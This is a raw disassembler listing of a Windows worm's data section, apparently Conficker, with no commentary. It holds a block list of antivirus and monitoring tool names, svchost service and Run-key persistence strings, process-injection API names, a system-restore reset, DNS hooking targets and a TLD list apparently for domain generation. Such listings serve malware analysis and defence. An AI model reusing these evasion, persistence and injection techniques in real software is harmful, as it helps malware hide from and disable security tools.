dword_9A254C	dd 706D6F63h, 72657475h, 6F737361h ; DATA XREF:	.text:009B80C8o
		db 63h
; ---------------------------------------------------------------------------


loc_9A2559:				; CODE XREF: .text:loc_9A24E4j
					; .text:009A24E7j
		imul	esp, [ecx+74h],	7365h


loc_9A2560:				; DATA XREF: .text:009B80C4o
		arpl	[edi+6Dh], bp
		outsd
		outs	dx, dword ptr fs:[esi]
; ---------------------------------------------------------------------------
		dw 0
aClamav		db 'clamav',0           ; DATA XREF: .text:009B80C0o
		align 10h
aCentralcommand	db 'centralcommand',0   ; DATA XREF: .text:009B80BCo
		align 10h
aCcollomb	db 'ccollomb',0         ; DATA XREF: .text:009B80B8o
		align 4
byte_9A258C	db 63h,	61h		; DATA XREF: .text:009B80B4o
; ---------------------------------------------------------------------------


loc_9A258E:				; CODE XREF: .text:loc_9A2514j
		jnb	short loc_9A2604
		insb
		arpl	gs:[edi+70h], bp
		jnb	short $+2


loc_9A2597:				; DATA XREF: .text:009B80B0o
		add	[edx+6Fh], ah
		jz	short loc_9A2604
		jnz	short near ptr dword_9A260C
		jz	short near ptr loc_9A2604+1
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
aAvira		db 'avira',0            ; DATA XREF: .text:009B80ACo
		align 4
aAvgate		db 'avgate',0           ; DATA XREF: .text:009B80A8o
		align 4
aAvast		db 'avast',0            ; DATA XREF: .text:009B80A4o
		align 4
aArcabit	db 'arcabit',0          ; DATA XREF: .text:009B80A0o
aAntivir	db 'antivir',0          ; DATA XREF: .text:009B809Co
aAnti		db 'anti-',0            ; DATA XREF: .text:009B8098o
		align 4
aAhnlab		db 'ahnlab',0           ; DATA XREF: .text:009B8094o
		align 4
aAgnitum	db 'agnitum',0          ; DATA XREF: .text:off_9B8090o
aWireshark	db 'wireshark',0        ; DATA XREF: .text:009B8088o
		align 10h
aUnlocker	db 'unlocker',0         ; DATA XREF: .text:009B8084o
		align 4
aTcpview	db 'tcpview',0          ; DATA XREF: .text:009B8080o
; ---------------------------------------------------------------------------


loc_9A2604:				; CODE XREF: .text:loc_9A258Ej
					; .text:009A259Aj ...
		jnb	short loc_9A267F
		jnb	short loc_9A266B
		insb
		db	65h
		popa
		outsb
; ---------------------------------------------------------------------------
dword_9A260C	dd 0			; CODE XREF: .text:009A259Cj
aScct_		db 'scct_',0            ; DATA XREF: .text:009B8078o
		align 4
aRegmon		db 'regmon',0           ; DATA XREF: .text:009B8074o
		align 10h
aProcmon	db 'procmon',0          ; DATA XREF: .text:009B8070o
aProcexp	db 'procexp',0          ; DATA XREF: .text:009B806Co
aMs0806		db 'ms08-06',0          ; DATA XREF: .text:009B8068o
aMrtstub	db 'mrtstub',0          ; DATA XREF: .text:009B8064o
aMrt_		db 'mrt.',0             ; DATA XREF: .text:009B8060o
		align 4
aMbsa_		db 'mbsa.',0            ; DATA XREF: .text:009B805Co
		align 10h
aKlwk		db 'klwk',0             ; DATA XREF: .text:009B8058o
		align 4
aKido		db 'kido',0             ; DATA XREF: .text:009B8054o
					; .text:009B8134o
		align 10h
aKb958		db 'kb958',0            ; DATA XREF: .text:009B8050o
		align 4
byte_9A2668	db 6Bh,	62h, 38h	; DATA XREF: .text:009B804Co
; ---------------------------------------------------------------------------


loc_9A266B:				; CODE XREF: .text:009A2606j
		cmp	[eax], esi
; ---------------------------------------------------------------------------
		db 3 dup(0)
aHotfix		db 'hotfix',0           ; DATA XREF: .text:009B8048o
		align 4
aGmer		db 'gmer',0             ; DATA XREF: .text:009B8044o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_9A267F:				; CODE XREF: .text:loc_9A2604j
					; DATA XREF: .text:009B8040o
		add	[esi+69h], ah
		insb
		db	65h
		insd
		outsd
		outsb


loc_9A2687:				; DATA XREF: .text:009B803Co
					; .text:009B80DCo
		add	[edi+ebp*2+77h], ah
		outsb
		popa
		add	fs:[eax], al


loc_9A2690:				; DATA XREF: .text:009B8038o
		arpl	[edi+6Eh], bp


loc_9A2693:				; DATA XREF: .text:009B8034o
		imul	sp, [ebx+6Bh], 6100h
		jbe	short near ptr SubKey+40h
		outsb
		db	67h, 65h
		jb	near ptr 26A0h
; ---------------------------------------------------------------------------
aAutoruns	db 'autoruns',0         ; DATA XREF: .text:009B8030o
		align 10h
stru_9A26B0	_msEH <0FFFFFFFFh, offset loc_9A413C, offset loc_9A4140>
					; DATA XREF: sub_9A4074+5o
		align 10h
; const	WCHAR SubKey
SubKey:					; DATA XREF: sub_9A471B+21o
					; sub_9A471B:loc_9A48F1o
		unicode	0, <SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost>,0
		align 4
; wchar_t a_dll
a_dll:					; DATA XREF: sub_9A4157+23o
		unicode	0, <.dll>,0
		align 4
aSystemCurrentc:			; DATA XREF: sub_9A4207+13o
					; sub_9A4358+4Fo
		unicode	0, <SYSTEM\CurrentControlSet\Services\>,0
		align 10h
; const	WCHAR aServicedll
aServicedll:				; DATA XREF: sub_9A4358+182o
					; sub_9A7B42+254o
		unicode	0, <ServiceDll>,0
		align 4
aParameters:				; DATA XREF: sub_9A4358+61o
		unicode	0, <\Parameters>,0
stru_9A27B0	_msEH <0FFFFFFFFh, 0, offset nullsub_1>	; DATA XREF: sub_9A4358+5o
		align 10h
stru_9A27C0	_msEH <0FFFFFFFFh, 0, offset nullsub_2>	; DATA XREF: sub_9A471B+2o
		dd 0C08956A1h, 11D11CD3h, 8000C5B1h, 0E27C15Fh ; DATA XREF: sub_9A49B2+8Do
dword_9A27DC	dd 20404h, 0		; DATA XREF: sub_9A49B2+3Eo
					; sub_9A4E45+4Bo
		dd 0C0h, 46000000h
; IID stru_9A27EC
stru_9A27EC	dd 5C63C1ADh		; Data1	; DATA XREF: sub_9A4B7B+49o
		dw 3956h		; Data2
		dw 4FF8h		; Data3
		db 84h,	86h, 40h, 3, 47h, 58h, 31h, 5Bh; Data4
; IID stru_9A27FC
stru_9A27FC	dd 0C08956B7h		; Data1	; DATA XREF: sub_9A4B7B+41o
		dw 1CD3h		; Data2
		dw 11D1h		; Data3
		db 0B1h, 0C5h, 0, 80h, 5Fh, 0C1h, 27h, 0Eh; Data4
		align 10h
stru_9A2810	_msEH <0FFFFFFFFh, offset loc_9A4BED, offset loc_9A4BF1>
					; DATA XREF: sub_9A4B7B+2o
; IID rclsid
rclsid		dd 304CE942h		; Data1	; DATA XREF: sub_9A4C0F+34o
		dw 6E39h		; Data2
		dw 40D8h		; Data3
		db 94h,	3Ah, 0B9h, 13h,	0C4h, 0Ch, 9Ch,	0D4h; Data4
; IID riid
riid		dd 0F7898AF5h		; Data1	; DATA XREF: sub_9A4C0F+2Co
		dw 0CAC4h		; Data2
		dw 4632h		; Data3
		db 0A2h, 0ECh, 0DAh, 6,	0E5h, 11h, 1Ah,	0F2h; Data4
; IID stru_9A283C
stru_9A283C	dd 0CA545C6h		; Data1	; DATA XREF: sub_9A4D36+72o
		dw 37ADh		; Data2
		dw 4A6Ch		; Data3
		db 0BFh, 92h, 9Fh, 76h,	10h, 6,	7Eh, 0F5h; Data4
; IID stru_9A284C
stru_9A284C	dd 0E0483BA0h		; Data1	; DATA XREF: sub_9A4D36+6Ao
					; sub_9A4E45+94o
		dw 47FFh		; Data2
		dw 4D9Ch		; Data3
		db 0A6h, 0D6h, 77h, 41h, 0D0h, 0B1h, 95h, 0F7h;	Data4
; wchar_t aSS_0
aSS_0:					; DATA XREF: sub_9A5033+8Co
		unicode	0, <%S %S>,0
stru_9A2868	_msEH <0FFFFFFFFh, offset loc_9A5129, offset loc_9A512D>
					; DATA XREF: sub_9A5033+5o
		align 8
stru_9A2878	_msEH <0FFFFFFFFh, offset loc_9A5217, offset loc_9A521B>
					; DATA XREF: sub_9A514A+5o
; wchar_t a__
a__:					; DATA XREF: sub_9A52A3+1Do
		unicode	0, <\..\>,0
		align 10h
stru_9A2890	_msEH <0FFFFFFFFh, offset loc_9A52EA, offset loc_9A52EE>
					; DATA XREF: sub_9A52A3+2o
		align 10h
stru_9A28A0	_msEH <0FFFFFFFFh, offset loc_9A534D, offset loc_9A5351>
					; DATA XREF: sub_9A5331+2o
		align 10h
stru_9A28B0	_msEH <0FFFFFFFFh, offset loc_9A53D5, offset loc_9A53D9>
					; DATA XREF: sub_9A53AE+2o
		align 10h
stru_9A28C0	_msEH <0FFFFFFFFh, offset loc_9A54A0, offset loc_9A54A4>
					; DATA XREF: sub_9A5421+5o
		align 10h
stru_9A28D0	_msEH <0FFFFFFFFh, offset loc_9A554D, offset loc_9A5551>
					; DATA XREF: sub_9A54F9+5o
		align 10h
stru_9A28E0	_msEH <0FFFFFFFFh, offset loc_9A5602, offset loc_9A5606>
					; DATA XREF: sub_9A55A2+5o
		align 10h
stru_9A28F0	_msEH <0FFFFFFFFh, offset loc_9A5708, offset loc_9A570C>
					; DATA XREF: sub_9A5656+5o
		align 10h
stru_9A2900	_msEH <0FFFFFFFFh, 0, offset nullsub_3>	; DATA XREF: sub_9A5729+2o
		align 10h
stru_9A2910	_msEH <0FFFFFFFFh, offset loc_9A58A2, offset loc_9A58A6>
					; DATA XREF: sub_9A57C1+5o
		align 10h
stru_9A2920	_msEH <0FFFFFFFFh, offset loc_9A5A67, offset loc_9A5A6B>
					; DATA XREF: sub_9A5938+2o
; char dword_9A292C[]
dword_9A292C	dd 6174656Eh, 32336970h, 6C6C642Eh, 0 ;	DATA XREF: sub_9A5B0F+Bo
; char aNetpwpathcanon[]
aNetpwpathcanon	db 'NetpwPathCanonicalize',0 ; DATA XREF: sub_9A5B0F+6o
		align 4
; char aNtdll_dll[]
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_9A5B2E+Bo
					; sub_9A642B+CBo ...
		align 10h
; char aNtqueryinforma[]
aNtqueryinforma	db 'NtQueryInformationProcess',0 ; DATA XREF: sub_9A5B2E+6o
					; sub_9A6678+8o ...
		align 4
; char aQuery_main[]
aQuery_main	db 'Query_Main',0       ; DATA XREF: sub_9A5B4D+52o
		align 4
; char aDnsquery_w[]
aDnsquery_w	db 'DnsQuery_W',0       ; DATA XREF: sub_9A5B4D+3Bo
		align 4
; char aDnsquery_utf8[]
aDnsquery_utf8	db 'DnsQuery_UTF8',0    ; DATA XREF: sub_9A5B4D+24o
		align 4
; char aDnsapi_dll[]
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_9A5B4D+Fo
		align 10h
; char aDnsquery_a[]
aDnsquery_a	db 'DnsQuery_A',0       ; DATA XREF: sub_9A5B4D+Ao
		align 4
; char aWs2_32_dll[]
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_9A5BCD+20o
		align 4
; char aSendto[]
aSendto		db 'sendto',0           ; DATA XREF: sub_9A5BCD+1Bo
		align 10h
; char ModuleName[]
ModuleName	db 'dnsrslvr.dll',0     ; DATA XREF: sub_9A5BCDo
		align 10h
; const	WCHAR aSvchost_exeKNe
aSvchost_exeKNe:			; DATA XREF: sub_9A5C01:loc_9A5C04o
		unicode	0, <svchost.exe	-k NetworkService>,0
; char aWininet_dll[]
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_9A5C69+Bo
; char aInternetgetc_0[]
aInternetgetc_0	db 'InternetGetConnectedState',0 ; DATA XREF: sub_9A5C69+6o
		align 4
; char aKernel32_dll[]
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_9A5EC7+36o
					; sub_9A642B+6Do ...
		align 8
stru_9A2A58	_msEH <0FFFFFFFFh, offset loc_9A6379, offset loc_9A637D>
					; DATA XREF: sub_9A62C0+2o
; char aLoadlibraryexa[]
aLoadlibraryexa	db 'LoadLibraryExA',0   ; DATA XREF: sub_9A642B:loc_9A6520o
		align 4
; char aNtqueueapcthre[]
aNtqueueapcthre	db 'NtQueueApcThread',0 ; DATA XREF: sub_9A642B:loc_9A64F1o
		align 4
; char ProcName[]
ProcName	db 'LoadLibraryA',0     ; DATA XREF: sub_9A642B+68o
		align 4
; char aNtsetinformati[]
aNtsetinformati	db 'NtSetInformationProcess',0 ; DATA XREF: sub_9A67C6+24o
stru_9A2AB0	_msEH <0FFFFFFFFh, offset loc_9A69E5, offset loc_9A69E9>
					; DATA XREF: sub_9A68CA+2o
		align 10h
stru_9A2AC0	_msEH <0FFFFFFFFh, offset loc_9A6CBB, offset loc_9A6CBF>
					; DATA XREF: sub_9A6BEB+2o
; char aSetakeownershi[]
aSetakeownershi	db 'SeTakeOwnershipPrivilege',0 ; DATA XREF: sub_9A6E36+4o
		align 4
stru_9A2AE8	_msEH <0FFFFFFFFh, 0, offset sub_9A6F78> ; DATA	XREF: sub_9A6E7C+2o
; wchar_t aSS
aSS:					; DATA XREF: sub_9A6F7B+64o
		unicode	0, <%s\%s>,0
aUsers:					; DATA XREF: sub_9A6F7B+3Eo
		unicode	0, <USERS>,0
aMachine:				; DATA XREF: sub_9A6F7B+30o
		unicode	0, <MACHINE>,0
aCurrent_user:				; DATA XREF: sub_9A6F7B+22o
		unicode	0, <CURRENT_USER>,0
		align 4
aClasses_root:				; DATA XREF: sub_9A6F7B+14o
		unicode	0, <CLASSES_ROOT>,0
		align 8
stru_9A2B58	_msEH <0FFFFFFFFh, 0, offset nullsub_5>	; DATA XREF: sub_9A7177+2o
; char PrefixString[]
PrefixString	db '0',0                ; DATA XREF: sub_9A7214+4Ao
		align 4
aPolicy:				; DATA XREF: .text:009B8344o
		unicode	0, <Policy>,0
		align 4
aDiscovery:				; DATA XREF: .text:009B8340o
		unicode	0, <Discovery>,0
aStorage:				; DATA XREF: .text:009B833Co
		unicode	0, <Storage>,0
aPower:					; DATA XREF: .text:009B8338o
		unicode	0, <Power>,0
aLogon:					; DATA XREF: .text:009B8334o
		unicode	0, <Logon>,0
aMachine_0:				; DATA XREF: .text:009B8330o
		unicode	0, <Machine>,0
aBrowser:				; DATA XREF: .text:009B832Co
		unicode	0, <Browser>,0
aManagement:				; DATA XREF: .text:009B8328o
		unicode	0, <Management>,0
		align 4
aFramework:				; DATA XREF: .text:009B8324o
		unicode	0, <Framework>,0
aComponent:				; DATA XREF: .text:009B8320o
		unicode	0, <Component>,0
aTrusted:				; DATA XREF: .text:009B831Co
		unicode	0, <Trusted>,0
aBackup:				; DATA XREF: .text:009B8318o
		unicode	0, <Backup>,0
		align 4
aNotify:				; DATA XREF: .text:009B8314o
		unicode	0, <Notify>,0
		align 4
aAudit:					; DATA XREF: .text:009B830Co
		unicode	0, <Audit>,0
aControl:				; DATA XREF: .text:009B8308o
		unicode	0, <Control>,0
aHardware:				; DATA XREF: .text:009B8304o
		unicode	0, <Hardware>,0
		align 4
aWindows:				; DATA XREF: .text:009B8300o
		unicode	0, <Windows>,0
aUpdate:				; DATA XREF: .text:009B82FCo
		unicode	0, <Update>,0
		align 4
aUniversal:				; DATA XREF: .text:009B82F8o
		unicode	0, <Universal>,0
aTask:					; DATA XREF: .text:009B82F0o
		unicode	0, <Task>,0
		align 4
aSupport:				; DATA XREF: .text:009B82E8o
		unicode	0, <Support>,0
aShell:					; DATA XREF: .text:009B82E4o
		unicode	0, <Shell>,0
aSecurity:				; DATA XREF: .text:009B82DCo
		unicode	0, <Security>,0
		align 4
aNetwork:				; DATA XREF: .text:009B82D8o
		unicode	0, <Network>,0
aMonitor:				; DATA XREF: .text:009B82D4o
		unicode	0, <Monitor>,0
aMicrosoft:				; DATA XREF: .text:009B82D0o
		unicode	0, <Microsoft>,0
aManager:				; DATA XREF: .text:009B82CCo
		unicode	0, <Manager>,0
aInstaller:				; DATA XREF: .text:009B82C8o
		unicode	0, <Installer>,0
aImage:					; DATA XREF: .text:009B82C4o
		unicode	0, <Image>,0
aHelper:				; DATA XREF: .text:009B82C0o
		unicode	0, <Helper>,0
		align 4
aDriver:				; DATA XREF: .text:009B82BCo
		unicode	0, <Driver>,0
		align 4
aConfig:				; DATA XREF: .text:009B82B8o
		unicode	0, <Config>,0
		align 4
aCenter:				; DATA XREF: .text:009B82B4o
		unicode	0, <Center>,0
		align 4
aBoot:					; DATA XREF: .text:009B82B0o
		unicode	0, <Boot>,0
		align 4
aTime_0:				; DATA XREF: .text:009B82A8o
					; .text:009B82F4o
		unicode	0, <Time>,0
		align 10h
aSystem:				; DATA XREF: .text:009B82A4o
					; .text:009B82ECo
		unicode	0, <System>,0
		align 10h
aSvc:					; DATA XREF: .text:009B82A0o
		unicode	0, <svc>,0
aSvc_0:					; DATA XREF: .text:009B829Co
		unicode	0, <Svc>,0
aSrv:					; DATA XREF: .text:009B8298o
		unicode	0, <srv>,0
aSrv_0:					; DATA XREF: .text:009B8294o
		unicode	0, <Srv>,0
aService:				; DATA XREF: .text:009B8290o
		unicode	0, <Service>,0
aServer:				; DATA XREF: .text:009B828Co
					; .text:009B82E0o
		unicode	0, <Server>,0
		align 10h
aServ_0:				; DATA XREF: .text:009B8288o
		unicode	0, <serv>,0
		align 4
aProv:					; DATA XREF: .text:009B8284o
		unicode	0, <prov>,0
		align 4
aMon:					; DATA XREF: .text:009B8280o
		unicode	0, <mon>,0
aMgmt:					; DATA XREF: .text:009B827Co
		unicode	0, <mgmt>,0
		align 4
aMan:					; DATA XREF: .text:009B8278o
		unicode	0, <man>,0
aLogon_0:				; DATA XREF: .text:009B8274o
		unicode	0, <logon>,0
aAuto:					; DATA XREF: .text:009B8270o
		unicode	0, <auto>,0
		align 4
aAgent:					; DATA XREF: .text:009B826Co
		unicode	0, <agent>,0
aAccess:				; DATA XREF: .text:009B8268o
		unicode	0, <access>,0
		align 4
aXml:					; DATA XREF: .text:009B8264o
		unicode	0, <xml>,0
aWuau:					; DATA XREF: .text:009B8260o
		unicode	0, <wuau>,0
		align 4
aWsc:					; DATA XREF: .text:009B825Co
		unicode	0, <wsc>,0
aWmi:					; DATA XREF: .text:009B8258o
		unicode	0, <Wmi>,0
aWmdm:					; DATA XREF: .text:009B8254o
		unicode	0, <Wmdm>,0
		align 4
aWin:					; DATA XREF: .text:009B8250o
		unicode	0, <win>,0
aW32:					; DATA XREF: .text:009B824Co
		unicode	0, <W32>,0
aTrk:					; DATA XREF: .text:009B8248o
		unicode	0, <Trk>,0
aTapi:					; DATA XREF: .text:009B8244o
		unicode	0, <Tapi>,0
		align 4
aSr:					; DATA XREF: .text:009B8240o
		unicode	0, <SR>,0
		align 4
aSec:					; DATA XREF: .text:009B823Co
		unicode	0, <Sec>,0
aRemote:				; DATA XREF: .text:009B8238o
		unicode	0, <Remote>,0
		align 4
aRas:					; DATA XREF: .text:009B8234o
		unicode	0, <Ras>,0
aNtms:					; DATA XREF: .text:009B8230o
		unicode	0, <Ntms>,0
		align 10h
aNet:					; DATA XREF: .text:009B822Co
		unicode	0, <Net>,0
aLanman:				; DATA XREF: .text:009B8228o
		unicode	0, <Lanman>,0
		align 4
aIr:					; DATA XREF: .text:009B8224o
		unicode	0, <Ir>,0
		align 10h
aIas:					; DATA XREF: .text:009B8220o
		unicode	0, <Ias>,0
aHelp:					; DATA XREF: .text:009B821Co
		unicode	0, <help>,0
		align 4
aEvent:					; DATA XREF: .text:009B8218o
					; .text:009B8310o
		unicode	0, <Event>,0
aEr:					; DATA XREF: .text:009B8214o
		unicode	0, <ER>,0
		align 4
aDm:					; DATA XREF: .text:009B8210o
		unicode	0, <DM>,0
		align 10h
aAudio:					; DATA XREF: .text:009B820Co
		unicode	0, <Audio>,0
aApp:					; DATA XREF: .text:009B8208o
		unicode	0, <App>,0
; char aResetsr[]
aResetsr	db 'ResetSR',0          ; DATA XREF: sub_9A731F+22o
; char LibFileName[]
LibFileName	db 'srclient.dll',0     ; DATA XREF: sub_9A731F+Co
		align 10h
stru_9A2F60	_msEH <0FFFFFFFFh, offset loc_9A735A, offset loc_9A735E>
					; DATA XREF: sub_9A731F+2o
; wchar_t Str
Str		dw 0			; DATA XREF: sub_9A7374+2A8o
		align 10h
dword_9A2F70	dd 0FFFFFFFFh, 9A7605h,	9A7609h, 0 ; DATA XREF:	sub_9A7374+5o
aSoftwareMicr_0:			; DATA XREF: sub_9A7641+35o
		unicode	0, <SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost>,0
		align 10h
stru_9A2FF0	_msEH <0FFFFFFFFh, offset loc_9A7AF8, offset loc_9A7AFC>
					; DATA XREF: sub_9A7641+5o
; const	WCHAR aParameters_0
aParameters_0:				; DATA XREF: sub_9A7B42+231o
		unicode	0, <Parameters>,0
		align 4
; const	WCHAR aDescription
aDescription:				; DATA XREF: sub_9A7B42+219o
		unicode	0, <Description>,0
; const	WCHAR aObjectname
aObjectname:				; DATA XREF: sub_9A7B42+1FEo
		unicode	0, <ObjectName>,0
		align 4
; BYTE Data
Data:					; DATA XREF: sub_9A7B42+1F6o
		unicode	0, <LocalSystem>,0
; const	WCHAR aImagepath
aImagepath:				; DATA XREF: sub_9A7B42+1EAo
		unicode	0, <ImagePath>,0
; const	WCHAR aErrorcontrol
aErrorcontrol:				; DATA XREF: sub_9A7B42+1CCo
		unicode	0, <ErrorControl>,0
		align 4
; const	WCHAR aStart
aStart:					; DATA XREF: sub_9A7B42+1B2o
		unicode	0, <Start>,0
; const	WCHAR aType
aType:					; DATA XREF: sub_9A7B42+198o
		unicode	0, <Type>,0
		align 4
; const	WCHAR ValueName
ValueName:				; DATA XREF: sub_9A7B42+185o
		unicode	0, <DisplayName>,0
; wchar_t asc_9A30BC
asc_9A30BC:				; DATA XREF: sub_9A7B42+D1o
		unicode	0, <\>,0
aSystemCurren_0:			; DATA XREF: sub_9A7B42+B4o
		unicode	0, <SYSTEM\CurrentControlSet\Services>,0
		align 8
aSystemrootSyst:			; DATA XREF: sub_9A7B42+47o
		unicode	0, <%SystemRoot%\system32\svchost.exe -k >,0
		align 8
; const	WCHAR aSoftwareMicr_1
aSoftwareMicr_1:			; DATA XREF: sub_9A7E0F+1E8o
		unicode	0, <Software\Microsoft\Windows\CurrentVersion\Run>,0
; wchar_t aRundll32_exeSS
aRundll32_exeSS:			; DATA XREF: sub_9A7E0F+1BDo
		unicode	0, <rundll32.exe "%s",%S>,0
		align 10h
; wchar_t asc_9A31E0
asc_9A31E0:				; DATA XREF: sub_9A7E0F+F9o
		unicode	0, < >,0
aVn		db 'vn',0               ; DATA XREF: .text:009B876Co
		align 4
aVc		db 'vc',0               ; DATA XREF: .text:009B8768o
		align 4
aUs		db 'us',0               ; DATA XREF: .text:009B8764o
		align 10h
aTw		db 'tw',0               ; DATA XREF: .text:009B8760o
		align 4
aTo		db 'to',0               ; DATA XREF: .text:009B875Co
		align 4
aTn		db 'tn',0               ; DATA XREF: .text:009B8758o
		align 4
aTl		db 'tl',0               ; DATA XREF: .text:009B8754o
		align 10h
aTj		db 'tj',0               ; DATA XREF: .text:009B8750o
		align 4
aTc		db 'tc',0               ; DATA XREF: .text:009B874Co
		align 4
aSu		db 'su',0               ; DATA XREF: .text:009B8748o
		align 4
aSk		db 'sk',0               ; DATA XREF: .text:009B8744o
		align 10h
aSh		db 'sh',0               ; DATA XREF: .text:009B8740o
		align 4
aSg		db 'sg',0               ; DATA XREF: .text:009B873Co
		align 4
aSc		db 'sc',0               ; DATA XREF: .text:009B8738o
		align 4
aRu		db 'ru',0               ; DATA XREF: .text:009B8734o
		align 10h
aRo		db 'ro',0               ; DATA XREF: .text:009B8730o
		align 4
aPs		db 'ps',0               ; DATA XREF: .text:009B872Co
		align 4
aPl		db 'pl',0               ; DATA XREF: .text:009B8728o
		align 4
aPk		db 'pk',0               ; DATA XREF: .text:009B8724o
		align 10h
aPe		db 'pe',0               ; DATA XREF: .text:009B8720o
		align 4
aNo		db 'no',0               ; DATA XREF: .text:009B871Co
		align 4
aNl		db 'nl',0               ; DATA XREF: .text:009B8718o
		align 4
aNf		db 'nf',0               ; DATA XREF: .text:009B8714o
		align 10h
aMy		db 'my',0               ; DATA XREF: .text:009B8710o
		align 4
aMw		db 'mw',0               ; DATA XREF: .text:009B870Co
		align 4
aMu		db 'mu',0               ; DATA XREF: .text:009B8708o
		align 4
aMs		db 'ms',0               ; DATA XREF: .text:009B8704o
		align 10h
aMn		db 'mn',0               ; DATA XREF: .text:009B8700o
		align 4
aMe		db 'me',0               ; DATA XREF: .text:009B86FCo
		align 4
aMd		db 'md',0               ; DATA XREF: .text:009B86F8o
		align 4
aLy		db 'ly',0               ; DATA XREF: .text:009B86F4o
		align 10h
aLv		db 'lv',0               ; DATA XREF: .text:009B86F0o
		align 4
aLu		db 'lu',0               ; DATA XREF: .text:009B86ECo
		align 4
aLi		db 'li',0               ; DATA XREF: .text:009B86E8o
		align 4
aLc		db 'lc',0               ; DATA XREF: .text:009B86E4o
		align 10h
aLa		db 'la',0               ; DATA XREF: .text:009B86E0o
		align 4
aKz		db 'kz',0               ; DATA XREF: .text:009B86DCo
		align 4
aKn		db 'kn',0               ; DATA XREF: .text:009B86D8o
		align 4
aIs		db 'is',0               ; DATA XREF: .text:009B86D4o
		align 10h
aIr_0		db 'ir',0               ; DATA XREF: .text:009B86D0o
		align 4
aIn		db 'in',0               ; DATA XREF: .text:009B86CCo
		align 4
aIm		db 'im',0               ; DATA XREF: .text:009B86C8o
		align 4
aIe		db 'ie',0               ; DATA XREF: .text:009B86C4o
		align 10h
aHu		db 'hu',0               ; DATA XREF: .text:009B86C0o
		align 4
aHt		db 'ht',0               ; DATA XREF: .text:009B86BCo
		align 4
aHn		db 'hn',0               ; DATA XREF: .text:009B86B8o
		align 4
aHk		db 'hk',0               ; DATA XREF: .text:009B86B4o
		align 10h
aGy		db 'gy',0               ; DATA XREF: .text:009B86B0o
		align 4
aGs		db 'gs',0               ; DATA XREF: .text:009B86ACo
		align 4
aGr		db 'gr',0               ; DATA XREF: .text:009B86A8o
		align 4
aGd		db 'gd',0               ; DATA XREF: .text:009B86A4o
		align 10h
aFr		db 'fr',0               ; DATA XREF: .text:009B86A0o
		align 4
aFm		db 'fm',0               ; DATA XREF: .text:009B869Co
		align 4
aEs		db 'es',0               ; DATA XREF: .text:009B8698o
		align 4
aEc		db 'ec',0               ; DATA XREF: .text:009B8694o
		align 10h
aDm_0		db 'dm',0               ; DATA XREF: .text:009B8690o
		align 4
aDk		db 'dk',0               ; DATA XREF: .text:009B868Co
		align 4
aDj		db 'dj',0               ; DATA XREF: .text:009B8688o
		align 4
aCz		db 'cz',0               ; DATA XREF: .text:009B8684o
		align 10h
aCx		db 'cx',0               ; DATA XREF: .text:009B8680o
		align 4
aCom_ve		db 'com.ve',0           ; DATA XREF: .text:009B867Co
		align 4
aCom_uy		db 'com.uy',0           ; DATA XREF: .text:009B8678o
		align 4
aCom_ua		db 'com.ua',0           ; DATA XREF: .text:009B8674o
		align 4
aCom_tw		db 'com.tw',0           ; DATA XREF: .text:009B8670o
		align 4
aCom_tt		db 'com.tt',0           ; DATA XREF: .text:009B866Co
		align 4
aCom_tr		db 'com.tr',0           ; DATA XREF: .text:009B8668o
		align 4
aCom_sv		db 'com.sv',0           ; DATA XREF: .text:009B8664o
		align 4
aCom_py		db 'com.py',0           ; DATA XREF: .text:009B8660o
		align 4
aCom_pt		db 'com.pt',0           ; DATA XREF: .text:009B865Co
		align 4
aCom_pr		db 'com.pr',0           ; DATA XREF: .text:009B8658o
		align 4
aCom_pe		db 'com.pe',0           ; DATA XREF: .text:009B8654o
		align 4
aCom_pa		db 'com.pa',0           ; DATA XREF: .text:009B8650o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: .text:009B864Co
		align 4
aCom_ng		db 'com.ng',0           ; DATA XREF: .text:009B8648o
		align 4
aCom_mx		db 'com.mx',0           ; DATA XREF: .text:009B8644o
		align 4
aCom_mt		db 'com.mt',0           ; DATA XREF: .text:009B8640o
		align 4
aCom_lc		db 'com.lc',0           ; DATA XREF: .text:009B863Co
		align 4
aCom_ki		db 'com.ki',0           ; DATA XREF: .text:009B8638o
		align 4
aCom_jm		db 'com.jm',0           ; DATA XREF: .text:009B8634o
		align 4
aCom_hn		db 'com.hn',0           ; DATA XREF: .text:009B8630o
		align 4
aCom_gt		db 'com.gt',0           ; DATA XREF: .text:009B862Co
		align 4
aCom_gl		db 'com.gl',0           ; DATA XREF: .text:009B8628o
		align 4
aCom_gh		db 'com.gh',0           ; DATA XREF: .text:009B8624o
		align 4
aCom_fj		db 'com.fj',0           ; DATA XREF: .text:009B8620o
		align 4
aCom_do		db 'com.do',0           ; DATA XREF: .text:009B861Co
		align 4
aCom_co		db 'com.co',0           ; DATA XREF: .text:009B8618o
		align 4
aCom_bs		db 'com.bs',0           ; DATA XREF: .text:009B8614o
		align 4
aCom_br		db 'com.br',0           ; DATA XREF: .text:009B8610o
		align 4
aCom_bo		db 'com.bo',0           ; DATA XREF: .text:009B860Co
		align 4
aCom_ar		db 'com.ar',0           ; DATA XREF: .text:009B8608o
		align 4
aCom_ai		db 'com.ai',0           ; DATA XREF: .text:009B8604o
		align 4
aCom_ag		db 'com.ag',0           ; DATA XREF: .text:009B8600o
		align 4
aCo_za		db 'co.za',0            ; DATA XREF: .text:009B85FCo
		align 4
aCo_vi		db 'co.vi',0            ; DATA XREF: .text:009B85F8o
		align 4
aCo_uk		db 'co.uk',0            ; DATA XREF: .text:009B85F4o
		align 4
aCo_ug		db 'co.ug',0            ; DATA XREF: .text:009B85F0o
		align 4
aCo_nz		db 'co.nz',0            ; DATA XREF: .text:009B85ECo
		align 4
aCo_kr		db 'co.kr',0            ; DATA XREF: .text:009B85E8o
		align 4
aCo_ke		db 'co.ke',0            ; DATA XREF: .text:009B85E4o
		align 4
aCo_il		db 'co.il',0            ; DATA XREF: .text:009B85E0o
		align 4
aCo_id		db 'co.id',0            ; DATA XREF: .text:009B85DCo
		align 4
aCo_cr		db 'co.cr',0            ; DATA XREF: .text:009B85D8o
		align 4
